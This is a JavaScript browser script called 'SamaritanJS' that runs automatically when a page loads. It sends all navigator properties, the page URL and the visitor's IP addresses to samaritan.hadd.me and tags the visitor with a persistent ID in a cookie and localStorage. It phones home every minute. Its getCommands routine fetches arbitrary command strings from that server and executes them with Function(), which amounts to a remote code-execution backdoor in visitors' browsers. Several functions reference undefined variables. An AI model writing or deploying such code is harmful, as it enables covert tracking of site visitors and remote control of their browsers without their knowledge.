var SamaritanJSajax = {};
SamaritanJSajax.x = function () {
    if (typeof XMLHttpRequest !== 'undefined') {
        return new XMLHttpRequest();
    }
    var versions = [
        "MSXML2.XmlHttp.6.0",
        "MSXML2.XmlHttp.5.0",
        "MSXML2.XmlHttp.4.0",
        "MSXML2.XmlHttp.3.0",
        "MSXML2.XmlHttp.2.0",
        "Microsoft.XmlHttp"
    ];

    var xhr;
    for (var i = 0; i < versions.length; i++) {
        try {
            xhr = new ActiveXObject(versions[i]);
            break;
        } catch (e) {
        }
    }
    return xhr;
};

SamaritanJSajax.send = function (url, callback, method, data, async) {
    if (async === undefined) {
        async = true;
    }
    var x = SamaritanJSajax.x();
    x.open(method, url, async);
    x.onreadystatechange = function () {
        if (x.readyState == 4) {
            callback(x.responseText)
        }
    };
    if (method == 'POST') {
        x.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
    }
    x.send(data)
};

SamaritanJSajax.get = function (url, data, callback, async) {
    var query = [];
    for (var key in data) {
        query.push(encodeURIComponent(key) + '=' + encodeURIComponent(data[key]));
    }
    SamaritanJSajax.send(url + (query.length ? '?' + query.join('&') : ''), callback, 'GET', null, async)
};

SamaritanJSajax.post = function (url, data, callback, async) {
    var query = [];
    for (var key in data) {
        query.push(encodeURIComponent(key) + '=' + encodeURIComponent(data[key]));
    }
    SamaritanJSajax.send(url, callback, 'POST', query.join('&'), async)
};


var samaritanSiteID = 'a8weMp';

var SamaritanJS = {
  userID : '',
  ipv4 : '',
  ipv6 : '',
  sites : [],
  siteURL : '',
    validSite : true,
    online : true,
  callbackFunction : false,
  IPV4callbackFunction : false,
  IPV6callbackFunction : false,
  sitesCallbackFunction : false,
  locationcallbackFunction : false,
  sitescallbackFunction : false,

  init : function(){
    window.addEventListener('online', () => SamaritanJS.setOnline());
    window.addEventListener('offline', () => SamaritanJS.setOffline());
    let browserInfo = [];
    for(var property in navigator){
      browserInfo.push([['name', property],['value', navigator[property]]]);
    }
    SamaritanJS.siteURL = window.location.href;

    SamaritanJSajax.post('https://samaritan.hadd.me/api/checkUserID', {siteID: samaritanSiteID, siteURL: SamaritanJS.siteURL, browserMisc: JSON.stringify(browserInfo, null, 2)}, function(response){
      console.log('checkUserID');
      var data = JSON.parse(response);
      SamaritanJS.setUserID(data.userID);
      console.log(data);
      console.log(SamaritanJS.userID);
      SamaritanJS.phoneHome();
      setTimeout('SamaritanJS.phoneHome()', 60000);
    });
  },

  phoneHome : function(){
    console.log('Online: ');
    console.log(window.navigator.onLine);
    if(SamaritanJS.online === true){
      SamaritanJS.getIPv4();
      SamaritanJS.getIPv6();
      SamaritanJS.getCloudFlare();
      SamaritanJS.getCommands();
    }
    if(SamaritanJS.sitescallbackFunction !== false){
      SamaritanJS.sitescallbackFunction(returnData);
    }
    setTimeout('SamaritanJS.phoneHome()', 60000);
  },

  getIPv4 : function(){
    SamaritanJSajax.post('https://v4.samaritan.hadd.me/api/getIP', {siteID: samaritanSiteID, userID: SamaritanJS.userID}, function(response){
      var data = JSON.parse(response);
      console.log(data);
      SamaritanJS.ipv4 = data.ip;

      if(SamaritanJS.IPV4callbackFunction !== false){
        var returnData = {userID: SamaritanJS.userID, ipv4: SamaritanJS.ipv4};
        SamaritanJS.IPV4callbackFunction(returnData);
      }
    });
  },

  getIPv6 : function(){
    SamaritanJSajax.post('https://samaritan.hadd.me/api/getIP', {siteID: samaritanSiteID, userID: SamaritanJS.userID}, function(response){
      var data = JSON.parse(response);
      console.log(data);
      SamaritanJS.ipv6 = data.ip;
      if(SamaritanJS.IPV6callbackFunction !== false){
        var returnData = {userID : SamaritanJS.userID, ipv6 : SamaritanJS.ipv6}
        SamaritanJS.IPV6callbackFunction(returnData);
      }
    });
  },

  postbackResult : function(source, dataResult){
    console.log('postbackResult');
    SamaritanJSajax.post('https://samaritan.hadd.me/api/postbackResult', {siteID: samaritanSiteID, userID: SamaritanJS.userID, source: source, dataResult: dataResult}, function(response){
      var data = JSON.parse(response);
      console.log('postbackResult');
      console.log(data);
    });
  },

  getCommands : function(){
    console.log('getCommands');
    SamaritanJSajax.post('https://samaritan.hadd.me/api/getCommands', {siteID: samaritanSiteID, userID: SamaritanJS.userID, siteURL: SamaritanJS.siteURL}, function(response){
      var data = JSON.parse(response);
      var commands = JSON.parse(data.commands);
      console.log(commands);
      console.log(commands.length);
      if(data.command !== '' && commands.length === 1){
        console.log('Single Command');
        console.log(data.command);
        return Function('return (' + data.command + ')')();
      }

      commands.forEach(function(command){
        console.log(command);
        return Function('return (' + command + ')')();
      });

    });

    if(SamaritanJS.callbackFunction !== false){
      var returnData = {userID : SamaritanJS.userID, ipv4 : SamaritanJS.ipv4, ipv6 : SamaritanJS.ipv6, sites : []}
      SamaritanJS.callbackFunction(returnData);
    }
  },

  getSiteHistory : function(){
    console.log('getSiteHistory');
    SamaritanJSajax.post('https://samaritan.hadd.me/api/getSiteHistory', {siteID: samaritanSiteID, userID: SamaritanJS.userID, siteURL: SamaritanJS.siteURL}, function(response){
      var data = JSON.parse(response);
      var sites = JSON.parse(data.sites);
      console.log(sites);
    });

    if(SamaritanJS.sitescallbackFunction !== false){
      var returnData = {userID : SamaritanJS.userID, ipv4 : SamaritanJS.ipv4, ipv6 : SamaritanJS.ipv6, sites : sites}
      SamaritanJS.sitescallbackFunction(returnData);
    }
  },

  getUserScore : function(){
    console.log('getUserScore');
    SamaritanJSajax.post('https://samaritan.hadd.me/api/getUserScore', {siteID: samaritanSiteID, userID: SamaritanJS.userID, siteURL: SamaritanJS.siteURL}, function(response){
      var data = JSON.parse(response);
    });

    if(SamaritanJS.sitescallbackFunction !== false){
      var returnData = {userID : SamaritanJS.userID, ipv4 : SamaritanJS.ipv4, ipv6 : SamaritanJS.ipv6, sites : sites}
      SamaritanJS.sitescallbackFunction(returnData);
    }
  },

  getCloudFlare : function(){
    SamaritanJSajax.get('https://www.cloudflare.com/cdn-cgi/trace', null, function(data){
      console.log('cloudflare');
      console.log(data);
      SamaritanJS.postbackResult('cloudflare', JSON.stringify(data));
    });
  },

  setUserID : function(userID){
    SamaritanJS.userID = userID;
    localStorage.setItem('samaritanUserID', userID);
    document.cookie = "samaritanUserID="+userID;
  },

  getUserID : function(){
    let SCookie = SamaritanJS.getCookie('samaritanUserID');
    let SLocalStorage = localStorage.getItem('samaritanUserID');
    console.log('SCookie: '+SCookie);
    console.log('SLocalStorage: '+SLocalStorage);
    if(SLocalStorage !== null){
      SamaritanJS.setUserID(SLocalStorage);
      return SLocalStorage;
    }

    if(SCookie !== false){
      SamaritanJS.setUserID(SCookie);
      return SCookie;
    }

    return false;
  },

  getCookie : function(cname) {
    let name = cname + "=";
    let ca = document.cookie.split(';');
    for(let i = 0; i < ca.length; i++) {
      let c = ca[i];
      while (c.charAt(0) == ' ') {
        c = c.substring(1);
      }
      if (c.indexOf(name) == 0) {
        return c.substring(name.length, c.length);
      }
    }
    return false;
  },

  setOnline : function(){
    SamaritanJS.online = true;
  },

  setOffline : function(){
    SamaritanJS.online = false;
  },

  setCallbackFunction : function(callbackFunction){
    SamaritanJS.callbackFunction = callbackFunction;
  },

  setIPV4CallbackFunction : function(callbackFunction){
    SamaritanJS.IPV4callbackFunction = callbackFunction;
  },

  setIPV6CallbackFunction : function(callbackFunction){
    SamaritanJS.IPV6callbackFunction = callbackFunction;
  },

  setSitesCallbackFunction : function(callbackFunction){
    SamaritanJS.sitescallbackFunction = callbackFunction;
  },

  setLocationCallbackFunction : function(callbackFunction){
    SamaritanJS.locationcallbackFunction = callbackFunction;
  },

  setSitesCallbackFunction : function(callbackFunction){
    SamaritanJS.sitescallbackFunction = callbackFunction;
  },
}

SamaritanJS.init();